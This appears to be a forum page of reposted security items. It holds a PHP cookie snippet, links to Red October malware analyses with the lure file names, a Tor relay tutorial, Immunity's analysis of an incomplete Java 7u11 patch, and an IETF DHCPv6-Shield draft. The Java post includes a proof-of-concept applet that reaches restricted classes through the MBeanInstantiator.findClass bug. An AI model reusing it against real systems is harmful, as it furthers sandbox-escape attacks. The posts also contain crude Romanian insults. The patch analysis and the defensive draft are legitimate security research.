[COLOR=#000000][COLOR=#007700] if(isset([/COLOR][COLOR=#0000BB]$_COOKIE[/COLOR][COLOR=#007700][[/COLOR][COLOR=#DD0000]'uid'[/COLOR][COLOR=#007700]])){ [/COLOR][COLOR=#0000BB]$uid [/COLOR][COLOR=#007700]= (int)[/COLOR][COLOR=#0000BB]$_COOKIE[/COLOR][COLOR=#007700][[/COLOR][COLOR=#DD0000]'uid'[/COLOR][COLOR=#007700]]; [/COLOR][COLOR=#0000BB]$query [/COLOR][COLOR=#007700]= [/COLOR][COLOR=#0000BB]mysql_query[/COLOR][COLOR=#007700]([/COLOR][COLOR=#DD0000]'SELECT * FROM users WHERE uid='[/COLOR][COLOR=#007700].[/COLOR][COLOR=#0000BB]$uid[/COLOR][COLOR=#007700].[/COLOR][COLOR=#DD0000]' LIMIT 1'[/COLOR][COLOR=#007700]);[/COLOR][/COLOR] /*..............................................................................................*/ [COLOR=#000000][COLOR=#0000BB]setcookie[/COLOR][COLOR=#007700]([/COLOR][COLOR=#DD0000]'uid'[/COLOR][COLOR=#007700], [/COLOR][COLOR=#0000BB]$_GET[/COLOR][COLOR=#007700][[/COLOR][COLOR=#DD0000]'uid'[/COLOR][COLOR=#007700]], [/COLOR][COLOR=#0000BB]time[/COLOR][COLOR=#007700]()+[/COLOR][COLOR=#0000BB]3600[/COLOR][COLOR=#007700]); [/COLOR][COLOR=#0000BB]$uid [/COLOR][COLOR=#007700]= (int)[/COLOR][COLOR=#0000BB]$_GET[/COLOR][COLOR=#007700][[/COLOR][COLOR=#DD0000]'uid'[/COLOR][COLOR=#007700]]; [/COLOR][COLOR=#0000BB]$query [/COLOR][COLOR=#007700]= [/COLOR][COLOR=#0000BB]mysql_query[/COLOR][COLOR=#007700]([/COLOR][COLOR=#DD0000]'SELECT * FROM users WHERE uid='[/COLOR][COLOR=#007700].[/COLOR][COLOR=#0000BB]$uid[/COLOR][COLOR=#007700].[/COLOR][COLOR=#DD0000]' LIMIT 1'[/COLOR][COLOR=#007700]);[/COLOR][/COLOR] Genial.

Lasa "Driver Plm" si instaleaza-le manual. E posibil ca multe dintre aceste porcarii sa fie de fapt niste troieni simpatici.

V.i.p.

“Red October”. Detailed Malware Description 1. First Stage of Attack - Securelist The Excel-based exploit - CVE-2009-3129 This is the oldest known way for Red October to infect computers. A list of some of the Excel file names can be found below: ... Agenda Telefoane institutii si ministere 2011.xls Agenda Telefoane institutii si ministere 2011 (2).xls Agenda Telefoane&Email institutii si ministere 2011.xls ... Cititi in pula mea articolul complet nu toate cacaturile, prostilor. The "Red October" Campaign - An Advanced Cyber Espionage Network Targeting Diplomatic and Government Agencies - Securelist "Red October" - part two, the modules - Securelist "Red October" Diplomatic Cyber Attacks Investigation - Securelist “Red October”. Detailed Malware Description 1. First Stage of Attack - Securelist “Red October”. Detailed Malware Description 2. Second Stage of Attack - Securelist “Red October”. Detailed Malware Description 3. Second Stage of Attack - Securelist “Red October”. Detailed Malware Description 4. Second Stage of Attack - Securelist “Red October”. Detailed Malware Description 5. Second Stage of Attack - Securelist Reveniti cu comentatii dupa ce cititi. Stirea a mai fost postata, de x ori, doar ca va pica coaiele daca cititi articolele bine scrise in engleza, preferati aberatiile jurnalistilor pulii. https://rstforums.com/forum/63558-red-october-diplomatic-cyber-attacks-investigation.rst https://rstforums.com/forum/63570-red-october-campaign.rst https://rstforums.com/forum/63685-hunt-red-october.rst https://rstforums.com/forum/63689-red-october-java-exploit-delivery-vector-analysis.rst https://rstforums.com/forum/63762-red-october-part-two-modules.rst Adica muie.

[h=3]TOR relay and transparent routing[/h][h=2]Friday, January 18, 2013[/h]I assume you already know about TOR, The Onion Router for anonymity to protect your privacy. TOR is a network so it can only work if there are nodes (relays). If you have a server, you can run one so consider it. Afraid of legal issues? You do not need to run an exit node, a relay is just fine: everything is encrypted. This post will show you how easy it is to set up a TOR relay on Debian, how to nicely monitor it and how to use it as a transparent router. [h=3]Setup[/h]Simple: a NAT router and behind a LAN with a server and a workstation. ________ ________ internet | | LAN | | ----------| (NAT) |--------------| server | 192.168.0.1 1.2.3.4 | router |---------. |________| |________| | ______|______ | | | workstation | 192.168.0.2 |_____________| [h=3]Install[/h]If you are not root, use sudo -i or su to get a root shell then: # echo 'deb http://deb.torproject.org/torproject.org squeeze main' \ >> /etc/apt/sources.list # gpg --recv 74A941BA219EC810 # gpg --export --armor 74A941BA219EC810 | apt-key add - # apt-get update # apt-get install tor [h=3]Prepare a control password[/h]You will need a password to remotely control your TOR server: $ tor --hash-password test [...] 16:A908451A24E6A06D604B4D30592A14A177FD276103658D4F10D9C4B12F [h=3]Configuration[/h]Open /etc/tor/torrc with your favourite editor and configure a few things: # TOR SOCKS port SocksPort 0.0.0.0:9050 # Control port ControlPort 0.0.0.0:9051 HashedControlPassword 16:A908451(...the hash above...)10D9C4B12F # TOR relay port ORPort 9001 # Throttle traffic to 100KB/s (800Kbps) but allow bursts up to 200KB/s (1600Kbps) RelayBandwidthRate 100 KB RelayBandwidthBurst 200 KB # No exits allowed, just be a relay node ExitPolicy reject * # Transparent router VirtualAddrNetwork 10.192.0.0/10 AutomapHostsOnResolve 1 TransPort 0.0.0.0:9040 DNSPort 0.0.0.0:53 Apply: # invoke-rc.d tor reload [h=3]Firewall[/h]I like iptables with ferm, for easy rule making. Edit /etc/ferm/ferm.conf: domain ip { table filter { chain INPUT { proto tcp dport 9001 ACCEPT; # ORPort saddr 192.168.0.0/24 { proto udp dport 53 ACCEPT; # DNSPort proto tcp dport 9040 ACCEPT; # TransPort proto tcp dport 9050 ACCEPT; # SocksPort proto tcp dport 9051 ACCEPT; # ControlPort } } } table nat { chain PREROUTING { interface eth0 saddr 192.168.0.0/24 { proto udp dport 53 REDIRECT to-ports 53; # DNSPort proto tcp syn REDIRECT to-ports 9040; # TransPort } } } } Apply: # invoke-rc.d ferm reload [h=3]Port forwarding[/h]The only port you need to forward from your router to your TOR server is 9001. If your router is also a Linux server, you can do this with ferm again. Edit /etc/ferm/ferm.conf: domain ip { table nat { chain PREROUTING { daddr 1.2.3.4 { proto tcp dport 9001 DNAT to 192.168.0.1; # ORPort } } } } Apply: # invoke-rc.d ferm reload [h=3]Monitoring[/h]I like ARM, the Anonymizing Relay Monitor in console: Install: # apt-get install tor-arm And start it: # arm You can also run arm remotely, by connecting on the ControlPort (9051) and using the control password. [h=3]Use TOR on the workstation[/h]Instead of using TOR for the whole system, let's add a tor user that will pass through TOR, while other users still use the normal connection: # adduser tor And now it is policy routing on user. Edit /etc/ferm/ferm.conf to mark packets coming from tor user: domain ip { table mangle { chain OUTPUT { mod owner uid-owner tor MARK set-mark 0x1; } } } Apply: # invoke-rc.d ferm reload And route packets differently based on the mark: # ip rule add fwmark 0x1 table 100 # ip route add default via 192.168.0.1 table 100 # ip route flush cache To persist after reboot, edit /etc/network/interfaces and add 3 post-up to your network interface: auto eth0 iface eth0 inet static address 192.168.0.2 netmask 255.255.255.0 gateway 192.168.0.254 post-up ip rule add fwmark 0x1 table 100 post-up ip route add default via 192.168.0.1 table 100 post-up ip route flush cache Now try: tor$ curl ifconfig.me [not your IP but a TOR exit node] Posted by StalkR at 22:22 Sursa: StalkR's Blog: TOR relay and transparent routing

Confirmed: Java only fixed one of the two bugs. Monday, January 14, 2013 One of things we tend to do when preparing our Java exploitation training as part of the INFILTRATE master class, is to analyze the past and the present in order to not only teach the specifics of exploitation but to build in our students their offensive "intuition". This is an important characteristic if you want to win in the world of exploitation, because these days exploits are not served on a fresh cucumber nitro-tini but rather you will need picks and shovels to open your way into it. This is the case of the recent MBeanInstantiator exploit, which combines two bugs in order to remotely execute code. And sometimes for everyone involved in the offensive world, this mean you need to look at the patch with special detail, because sometimes the vendor stops the worm/0day exploit with a patch, but doesn't necessary fix all of the associated problems. And of course, being only human, sometimes the vendor's team just plain messes up the patch. After further analysis of the Oracle Java patch (Java 7 update 11), Immunity was able to identify that only one of the two bugs were fixed, making Java still vulnerable to one of the bugs used in the exploit found in the wild. The patch did stop the exploit, fixing one of its components. But an attacker with enough knowledge of the Java code base and the help of another zero day bug to replace the one fixed can easily continue compromising users. (Assuming they now use a signed Java applet - one of the other changes introduced in this patch.) Java is indeed a constant target for attackers, and nobody should be surprised if an attacker just replaces the patched bug with a different one and starts compromising machines again. This is why it is important for Oracle and their user base to start paying special attention to each bug because with an exploitation chain as the one is needed these days, every bug matters. Immunity this year is doing a five day long Master class at Infiltrate (April, 15-19) where we will spent a full day on Java exploitation, teaching our student how to analyze patch, understand the Java code base and how to combine multiple bugs to obtain full exploitation. Oracle patch Oracle released a patch for these 2 vulnerabilities and two different CVE's were assigned to them. The patch for the Recursive Reflection vulnerability (CVE-2013-0422) can be seen in the java.lang.invoke.MethodHandleNatives.isCallerSensitive method: [TABLE=class: tr-caption-container, align: center] [TR] [TD][/TD] [/TR] [TR] [TD=class: tr-caption] isCallerSensitive diff between Java 7 update 10 and 11[/TD] [/TR] [/TABLE] And also sun.reflect.misc.MethodUtil class was changed to include some more checks: public static Object invoke(Method paramMethod, Object paramObject, Object[] paramArrayOfObject) throws InvocationTargetException, IllegalAccessException { if ((paramMethod.getDeclaringClass().equals(AccessController.class)) || ((paramMethod.getDeclaringClass().equals(MethodHandles.class)) && (paramMethod.getName().equals("lookup"))) || ((paramMethod.getDeclaringClass().equals(MethodHandles.Lookup.class)) && ((paramMethod.getName().startsWith("find")) || (paramMethod.getName().startsWith("bind")) || (paramMethod.getName().startsWith("unreflect")))) || (paramMethod.getDeclaringClass().equals(Method.class))) { throw new InvocationTargetException( new UnsupportedOperationException("invocation not supported")); } [...] } However, the patch (which is Java 7 update 11) doesn't show any difference at all in the classes inside com.sun.jmx.mbeanserver package. It appears then that the MBeanInstantiator.findClass vulnerability (CVE-2013-0422) is still there in the latest Java update. In fact, running a simple test shows that restricted classes can still be retrieved with this bug. A simple PoC like this can be used to see the situation: import java.applet.Applet; import com.sun.jmx.mbeanserver.JmxMBeanServer; import com.sun.jmx.mbeanserver.JmxMBeanServerBuilder; import com.sun.jmx.mbeanserver.MBeanInstantiator; public class Test9 extends Applet { public void test1() { System.out.println("RUNNING TEST1"); try { javax.management.MBeanServer ms = com.sun.jmx.mbeanserver.JmxMBeanServer .newMBeanServer("test", null, null, true); com.sun.jmx.mbeanserver.MBeanInstantiator mi = ((com.sun.jmx.mbeanserver.JmxMBeanServer) ms) .getMBeanInstantiator(); System.out.println("MBeanInstantiator = " + mi); Class clazz = mi.findClass( "sun.org.mozilla.javascript.internal.Context", (ClassLoader) null); System.out.println("clazz = " + clazz); } catch (Exception e) { e.printStackTrace(); } } public void test2() { System.out.println("RUNNING TEST2"); try { JmxMBeanServerBuilder sb = new JmxMBeanServerBuilder(); JmxMBeanServer jxmMBS = (JmxMBeanServer) sb.newMBeanServer("", null, null); MBeanInstantiator mi = jxmMBS.getMBeanInstantiator(); System.out.println("MBeanInstantiator = " + mi); Class clazz = mi.findClass("sun.misc.Unsafe", (ClassLoader) null); System.out.println("clazz = " + clazz); } catch (Exception e) { e.printStackTrace(); } } public void init() { test1(); System.out.println("--------------------------------------------"); test2(); } } The output of such code executed with Java 7 update 11 will be something like this: MbeanInstantiator.findClass vulnerability Over our investigation of the com.sun.jmx.mbeanserver.MBeanInstantiator.findClass and com.sun.jmx.mbeanserver.MBeanInstantiator.loadClass we found that the implementation on JDK6 and JDK7 are the same, which led us at first to the wrong conclusion that both were vulnerable. After further research we found that although the MBeanInstantiator code is the same in both versions, JDK/JRE 6 cannot be exploited. There is a flag called com.sun.jmx.mbeanserver.JmxMBeanServer.interceptorsEnabled that determines if MbeanServerInterceptors are enabled or not and that value is set in the com.sun.jmx.mbeanserver.JmxMBeanServer constructor. In JDK7, the public static method com.sun.jmx.mbeanserver.JmxMBeanServer.newMBeanServer(String, MBeanServer, MBeanServerDelegate, boolean) directly calls the constructor com.sun.jmx.mbeanserver.JmxMBeanServer.JmxMBeanServer(String, MBeanServer, MBeanServerDelegate, MBeanInstantiator, boolean, boolean) where the interceptorsEnabled flag is fully controlled. JDK6 implementation is different because it calls another constructor that ignores the flag passed to the newMbeanServer method and always sets the flag to false. This is what is preventing an attacker from getting a MbeanInstantiator instance to then use the findClass method. We can clearly see that the call hierarchy is different in JDK6 and JDK7 [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center] JDK7 MBeanInstantiator constructor call hierarchy[/TD] [/TR] [/TABLE] [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center] JDK6 MBeanInstantiator constructor call hierarchy[/TD] [/TR] [/TABLE] This last image clearly shows that the newMBeanServer method is calling a different constructor that sets the flag to False. Recursive Reflection Vulnerability The vulnerability is that the new reflection API security checks were passed because a trusted caller from the JDK (java.lang.invoke.MethodHandle) was retrieved from the frame's stack, as was explained in the analysis. We came to the conclusion that this happened due to an error in the sun.reflect.Reflection.getCallerClass implementation that failed to skip frames related to the new reflection API, but this was not correct. I'd like to thank Michael 'mihi' Schierl for pointing out that the reason behind the situation was not what I suspected but something else. Learning from mistakes is good You can see the details in Michael's post. Update: According to mitre.org, CVE-2013-0422 includes the MBeanInstantiator and the Recursive Reflection issue (Even though MBeanInstantiator is not fixed on the last Java release). CVE-2012-3174 is actually for an unspecified vulnerability with no publicly known details. - Esteban Guillardoy Security Research Immunity, Inc Sursa: Immunity Products: Confirmed: Java only fixed one of the two bugs.

Java MBeanInstantiator.findClass 0Day Analysis January, 2013 Esteban Guillardoy Table of Contents Introduction.......................................................................................................................................... 3 MbeanInstantiator.findClass vulnerability........................................................................................... 3 Affected Versions.............................................................................................................................4 Recursive Reflection Vulnerability (technique?)................................................................................. 4 Exploitation Technique.........................................................................................................................5 References............................................................................................................................................ 6 Introduction Another Java 0day! On one hand, this is exciting because it effects a lot of people and is therefor important. But there have been many instances of Java vulnerabilities coming out – and if someone does not have Java disabled by now, they are probably already infected. It's worth noting that unlike some Java vulnerabilities in the past, this one was first discovered when it was included in “commercial” malware packages, which were then linked to by ad-farms on legitimate sites, and used in mass malware installation campaigns. So even if your organization is quite far ahead when it comes to disabling or limited Java on your workstations, the particulars of the exploit are interesting because they may give hints as to how future Java (or .Net or Flash or other VM's with sandboxes) will suffer in the future. This is also the reason why we include an entire day of Java Sandbox Analysis in the upcoming INFILTRATE Master Class in April here in Miami Beach. It teaches you how to think about these problems, and nothing makes a better case study than an 0day. Once again the exploit is using 2 vulnerabilities together with an exploitation technique in order to fully exploit a target. We will analyze both below. Download: https://partners.immunityinc.com/idocs/Java%20MBeanInstantiator.findClass%200day%20Analysis.pdf

DHCPv6-Shield: Protecting Against Rogue DHCPv6 Servers Authored by Fernando Gont This document specifies a mechanism for protecting hosts connected to a broadcast network against rogue DHCPv6 servers. The aforementioned mechanism is based on DHCPv6 packet-filtering at the layer-2 device on which the packets are received. The aforementioned mechanism has been widely deployed in IPv4 networks ('DHCP snooping'), and hence it is desirable that similar functionality be provided for IPv6 networks. Operational Security Capabilities for F. Gont IP Network Infrastructure (opsec) SI6 Networks / UTN-FRH Internet-Draft W. Liu Intended status: BCP Huawei Technologies Expires: June 15, 2013 G. Van de Velde Cisco Systems December 12, 2012 DHCPv6-Shield: Protecting Against Rogue DHCPv6 Servers draft-ietf-opsec-dhcpv6-shield-00 Abstract This document specifies a mechanism for protecting hosts connected to a broadcast network against rogue DHCPv6 servers. The aforementioned mechanism is based on DHCPv6 packet-filtering at the layer-2 device on which the packets are received. The aforementioned mechanism has been widely deployed in IPv4 networks ('DHCP snooping'), and hence it is desirable that similar functionality be provided for IPv6 networks. Status of this Memo This Internet-Draft is submitted in full conformance with the provisions of BCP 78 and BCP 79. Internet-Drafts are working documents of the Internet Engineering Task Force (IETF). Note that other groups may also distribute working documents as Internet-Drafts. The list of current Internet- Drafts is at http://datatracker.ietf.org/drafts/current/. Internet-Drafts are draft documents valid for a maximum of six months and may be updated, replaced, or obsoleted by other documents at any time. It is inappropriate to use Internet-Drafts as reference material or to cite them other than as "work in progress." This Internet-Draft will expire on June 15, 2013. Copyright Notice Copyright (c) 2012 IETF Trust and the persons identified as the document authors. All rights reserved. This document is subject to BCP 78 and the IETF Trust's Legal Provisions Relating to IETF Documents (http://trustee.ietf.org/license-info) in effect on the date of publication of this document. Please review these documents Gont, et al. Expires June 15, 2013 [Page 1] Internet-Draft DHCPv6-Shield December 2012 carefully, as they describe your rights and restrictions with respect to this document. Code Components extracted from this document must include Simplified BSD License text as described in Section 4.e of the Trust Legal Provisions and are provided without warranty as described in the Simplified BSD License. Table of Contents 1. Introduction . . . . . . . . . . . . . . . . . . . . . . . . . 3 2. DHCPv6-Shield Configuration . . . . . . . . . . . . . . . . . 4 3. DHCPv6-Shield Implementation Advice . . . . . . . . . . . . . 5 4. IANA Considerations . . . . . . . . . . . . . . . . . . . . . 8 5. Security Considerations . . . . . . . . . . . . . . . . . . . 9 6. Acknowledgements . . . . . . . . . . . . . . . . . . . . . . . 10 7. References . . . . . . . . . . . . . . . . . . . . . . . . . . 11 7.1. Normative References . . . . . . . . . . . . . . . . . . . 11 7.2. Informative References . . . . . . . . . . . . . . . . . . 11 Authors' Addresses . . . . . . . . . . . . . . . . . . . . . . . . 13 Gont, et al. Expires June 15, 2013 [Page 2] Internet-Draft DHCPv6-Shield December 2012 1. Introduction This document specifies a mechanism for protecting hosts connected to a broadcast network against rogue DHCPv6 servers [RFC3315]. This mechanism is analogous to the RA-Guard mechanism [RFC6104] [RFC6105] [I-D.ietf-v6ops-ra-guard-implementation] intended for protection against rogue Router Advertisement messages. The basic concept behind DHCPv6-Shield is that a layer-2 device filters DHCPv6 messages meant to DHCPv6 clients, according to a number of different criteria. The most basic filtering criterion being that the aforementioned DHCPv6 messages are discarded by the layer-2 device unless they are received on a specified port of the layer-2 device. Before the DCHPv6-Shield device is deployed, the administrator specifies the layer-2 port(s) on which DHCPv6 packets meant for DHCPv6 clients are allowed. Only those ports to which a DHCPv6 server is to be connected should be specified as such. Once deployed, the DHCPv6-Shield device inspects received packets, and allows (i.e. passes) DHCPv6 messages meant for DHCPv6 clients only if they are received on layer-2 ports that have been explicitly configured for such purpose. The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this document are to be interpreted as described in RFC 2119 [RFC2119]. Gont, et al. Expires June 15, 2013 [Page 3] Internet-Draft DHCPv6-Shield December 2012 2. DHCPv6-Shield Configuration Before being deployed for production, the DHCPv6-Shield device MUST me configured with respect to which layer-2 ports are allowed to send DHCPv6 packets to DHCPv6 clients. Only those layer-2 ports explicitly configured for such purpose will be allowed to send DHCPv6 packets to DHCPv6 clients. Gont, et al. Expires June 15, 2013 [Page 4] Internet-Draft DHCPv6-Shield December 2012 3. DHCPv6-Shield Implementation Advice The following filtering rules MUST be enforced as part of an DHCPv6- Shield implementation on those ports that are not allowed to send DHCPv6 packets to DHCPv6 clients: 1. DHCPv6-Shield MUST parse the IPv6 entire header chain present in the packet, to identify whether it is a DHCPv6 packet meant for a DHCPv6 client. RATIONALE: [RFC6564] specifies a uniform format for IPv6 Extension Header, thus meaning that an IPv6 node can parse an IPv6 header chain even if it contains Extension Headers that are not currently supported by that node. Additionally, [I-D.ietf-6man-oversized-header-chain] requires that if a packet is fragmented, the first fragment contains the entire IPv6 header chain. DHCPv6-Shield implementations MUST NOT enforce a limit on the number of bytes they can inspect (starting from the beginning of the IPv6 packet), since this could introduce false- positives: legitimate packets could be dropped simply because the DHCPv6-Shield device does not parse the entire IPv6 header chain present in the packet. An implementation that has such an implementation-specific limit MUST NOT claim compliance with this specification, and MUST pass the packet when such implementation-specific limit is reached. 2. When parsing the IPv6 header chain, if the packet is a first- fragment (i.e., a packet containing a Fragment Header with the Fragment Offset set to 0) and it fails to contain the entire IPv6 header chain (i.e., all the headers starting from the IPv6 header up to, and including, the upper-layer header), DHCPv6-Shield MUST drop the packet, and SHOULD log the packet drop event in an implementation-specific manner as a security fault. RATIONALE: [I-D.ietf-6man-oversized-header-chain] specifies that the first-fragment (i.e., the fragment with the Fragment Offset set to 0) MUST contain the entire IPv6 header chain, and allows intermediate systems such as routers to drop those packets that fail to comply with this requirement. NOTE: This rule should only be applied to IPv6 fragments with a Fragment Offset of 0 (non-first fragments can be safely passed, since they will never reassemble into a complete datagram if they are part of a DHCPv6 packet meant for a DHCPv6 client received on a port where such packets are not allowed). Gont, et al. Expires June 15, 2013 [Page 5] Internet-Draft DHCPv6-Shield December 2012 3. When parsing the IPv6 header chain, if the packet is identified to be a DHCPv6 packet meant for a DHCPv6 client, DHCPv6-Shield MUST drop the packet, and SHOULD log the packet drop event in an implementation-specific manner as a security fault. 4. In all other cases, DHCPv6-Shield MUST pass the packet as usual. NOTE: For the purpose of enforcing the DHCPv6-Shield filtering policy, an ESP header [RFC4303] should be considered to be an "upper-layer protocol" (that is, it should be considered the last header in the IPv6 header chain). This means that packets employing ESP would be passed by the DHCPv6-Shield device to the intended destination. If the destination host does not have a security association with the sender of the aforementioned IPv6 packet, the packet would be dropped. Otherwise, if the packet is considered valid by the IPsec implementation at the receiving host and encapsulates a DHCPv6 message, it is up to the receiving host what to do with such packet. If a packet is dropped due to this filtering policy, then the packet drop event SHOULD be logged in an implementation-specific manner as a security fault. The logging mechanism SHOULD include a drop counter dedicated to DHCPv6-Shield packet drops. In order to protect current end-node IPv6 implementations, Rule #2 has been defined as a default rule to drop packets that cannot be positively identified as not being DHCPv6 packets meant for DHCPv6 clients (because the packet is a fragment that fails to include the entire IPv6 header chain). This means that, at least in theory, DHCPv6-Shield could result in false-positive blocking of some legitimate (non DHCPv6-server) packets. However, as noted in [I-D.ietf-6man-oversized-header-chain], IPv6 packets that fail to include the entire IPv6 header chain are virtually impossible to police with state-less filters and firewalls, and hence are unlikely to survive in real networks. [I-D.ietf-6man-oversized-header-chain] requires that hosts employing fragmentation include the entire IPv6 header chain in the first fragment (the fragment with the Fragment Offset set to 0), thus eliminating the aforementioned false positives. The aforementioned filtering rules implicitly handle the case of fragmented packets: if the DHCPv6-Shield device fails to identify the upper-layer protocol as a result of the use of fragmentation, the corresponding packets would be dropped. Finally, we note that IPv6 implementations that allow overlapping fragments (i.e. that do not comply with [RFC5722]) might still be subject of DHCPv6-based attacks. However, a recent assessment of Gont, et al. Expires June 15, 2013 [Page 6] Internet-Draft DHCPv6-Shield December 2012 IPv6 implementations [SI6-FRAG] with respect to their fragment reassembly policy seems to indicate that most current implementations comply with [RFC5722]. Gont, et al. Expires June 15, 2013 [Page 7] Internet-Draft DHCPv6-Shield December 2012 4. IANA Considerations This document has no actions for IANA. Gont, et al. Expires June 15, 2013 [Page 8] Internet-Draft DHCPv6-Shield December 2012 5. Security Considerations The mechanism specified in this document can be used to mitigate DHCPv6-based attacks. Attack vectors based on other messages (such as ICMPv6 Router Advertisements) are out of the scope of this document. As noted in Section 3, IPv6 implementations that allow overlapping fragments (i.e. that do not comply with [RFC5722]) might still be subject of DHCPv6-based attacks. However, most current implementations seem to comply with [RFC5722], and hence forbid IPv6 overlapping fragments. We note that if an attacker sends a fragmented DHCPv6 packets on a port not allowed to send such packets, the first-fragment would be dropped, and the rest of the fragments would be passed. This means that the victim node would tie memory buffers for the aforementioned fragments, which would never reassemble into a complete datagram. If a large number of such packets were sent by an attacker, and the victim node failed to implement proper resource management for the fragment reassembly buffer, this could lead to a Denial of Service (DoS). However, this does not really introduce a new attack vector, since an attacker could always perform the same attack by sending forged fragmented datagram in which at least one of the fragments is missing. [CPNI-IPv6] discusses some resource management strategies that could be implemented for the fragment reassembly buffer. Gont, et al. Expires June 15, 2013 [Page 9] Internet-Draft DHCPv6-Shield December 2012 6. Acknowledgements The authors would like to thank (in alphabetical order) Jean-Michel Combes, Juergen Schoenwaelder, and Mark Smith, for providing valuable comments on earlier versions of this document. This document is heavily based on the document [I-D.ietf-v6ops-ra-guard-implementation] authored by Fernando Gont. Thus, the authors would like to thank Ran Atkinson, Karl Auer, Robert Downie, Washam Fan, David Farmer, Marc Heuse, Nick Hilliard, Ray Hunter, Joel Jaeggli, Simon Perreault, Arturo Servin, Gunter van de Velde, James Woodyatt, and Bjoern A. Zeeb, for providing valuable comments on [I-D.ietf-v6ops-ra-guard-implementation], on which this document is based. Gont, et al. Expires June 15, 2013 [Page 10] Internet-Draft DHCPv6-Shield December 2012 7. References 7.1. Normative References [RFC2119] Bradner, S., "Key words for use in RFCs to Indicate Requirement Levels", BCP 14, RFC 2119, March 1997. [RFC3315] Droms, R., Bound, J., Volz, B., Lemon, T., Perkins, C., and M. Carney, "Dynamic Host Configuration Protocol for IPv6 (DHCPv6)", RFC 3315, July 2003. [RFC4303] Kent, S., "IP Encapsulating Security Payload (ESP)", RFC 4303, December 2005. [RFC5722] Krishnan, S., "Handling of Overlapping IPv6 Fragments", RFC 5722, December 2009. [RFC6564] Krishnan, S., Woodyatt, J., Kline, E., Hoagland, J., and M. Bhatia, "A Uniform Format for IPv6 Extension Headers", RFC 6564, April 2012. 7.2. Informative References [RFC6104] Chown, T. and S. Venaas, "Rogue IPv6 Router Advertisement Problem Statement", RFC 6104, February 2011. [RFC6105] Levy-Abegnoli, E., Van de Velde, G., Popoviciu, C., and J. Mohacsi, "IPv6 Router Advertisement Guard", RFC 6105, February 2011. [I-D.ietf-6man-oversized-header-chain] Gont, F. and V. Manral, "Security and Interoperability Implications of Oversized IPv6 Header Chains", draft-ietf-6man-oversized-header-chain-02 (work in progress), November 2012. [I-D.ietf-v6ops-ra-guard-implementation] Gont, F., "Implementation Advice for IPv6 Router Advertisement Guard (RA-Guard)", draft-ietf-v6ops-ra-guard-implementation-07 (work in progress), November 2012. [SI6-FRAG] SI6 Networks, "IPv6 NIDS evasion and improvements in IPv6 fragmentation/reassembly", 2012, <http:// blog.si6networks.com/2012/02/ ipv6-nids-evasion-and-improvements-in.html>. Gont, et al. Expires June 15, 2013 [Page 11] Internet-Draft DHCPv6-Shield December 2012 [CPNI-IPv6] Gont, F., "Security Assessment of the Internet Protocol version 6 (IPv6)", UK Centre for the Protection of National Infrastructure, (available on request). Gont, et al. Expires June 15, 2013 [Page 12] Internet-Draft DHCPv6-Shield December 2012 Authors' Addresses Fernando Gont SI6 Networks / UTN-FRH Evaristo Carriego 2644 Haedo, Provincia de Buenos Aires 1706 Argentina Phone: +54 11 4650 8472 Email: fgont@si6networks.com URI: http://www.si6networks.com Will Liu Huawei Technologies Bantian, Longgang District Shenzhen 518129 P.R. China Email: liushucheng@huawei.com Gunter Van de Velde Cisco Systems De Kleetlaan 6a Diegem 1831 Belgium Phone: +32 2704 5473 Email: gunter@cisco.com Gont, et al. Expires June 15, 2013 [Page 13] Sursa: DHCPv6-Shield: Protecting Against Rogue DHCPv6 Servers ? Packet Storm